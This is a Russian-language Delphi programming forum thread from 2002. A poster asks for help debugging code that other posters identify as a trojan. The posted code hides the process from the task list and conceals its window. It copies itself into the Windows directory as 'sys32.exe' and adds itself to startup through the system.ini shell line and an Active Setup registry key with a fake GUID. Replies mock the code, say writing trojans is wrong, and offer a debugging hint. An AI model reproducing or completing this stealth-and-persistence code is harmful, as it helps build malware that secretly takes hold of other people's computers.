Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Помогите в этим пожалуйста [D6, WinME]


X-Shadow ©   (2002-09-22 06:20:00) 

procedure THPS.FormCreate(Sender: TObject);
var TM : string;
i : integer;
PC, OldName, NewName : PChar;
RG : TRegistry;
hNdl :THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
hNdl:=LoadLibrary("KERNEL32.DLL");
RegisterServiceProcess:=GetProcAddress(hNdl, "RegisterServiceProcess");
RegisterServiceProcess (GetCurrentProcessID, 1);
FreeLibrary(hNdl);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
TM:=Application.ExeName;
for i:=Length(TM) downto 1 do
if TM[i]="\" then break;
TM:=copy (TM, 1, i);
getMem (PC, 100);
GetWindowsDirectory (PC, 100);
SD:=PC+"\";
freeMem (PC);
getmem (OldName, 100);
getMem (NewName, 100);
ReadSettings;
StrPCopy (OldName, Application.ExeName); {Вот тут он выдает ошибку после запуска проги}
StrPCopy (NewName, SD+"sys32.exe");
writeprivateprofilestring("boot","shell",pchar("Explorer.exe" +" sys32.exe"),"system.ini");
if TM<>SD then
begin
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ("Software\Microsoft\Active Setup\Installed Components\{91230W13Fr21Pfaffg}", False);
RG.WriteString ("java", SD+"sys32.exe");
RG.Destroy;
CopyFile (OldName, NewName, FALSE);
StrPCopy (OldName, """+Application.ExeName+""");
Winexec(pchar(SD+"sys32.exe"),SW_show);
Halt (0);

end


Юрий Зотов   (2002-09-22 20:52:00) [1]

А этот троян и не написан. Он надерган из Инета, причем без всякого понимания что, зачем и почему.

Даже комментировать не хочется. Одна лишь загрузка Kernel32 - это шедевр.


Настя Петрова   (2002-09-22 14:14:00) [2]

Не хорошо трояны писать


MBo   (2002-09-22 06:57:00) [3]

такое:

procedure TForm1.Button1Click(Sender: TObject);
var oldname:pchar;
begin
Getmem(oldname,100);
strpcopy(oldname,application.exename);
caption:=oldname;
end;

ошибки, естественно, не дает, если 100 байт хватает.
Выбрось все лишнее для локализации ошибки


Наверх

Титульная страница Поиск, карта сайта Написать письмо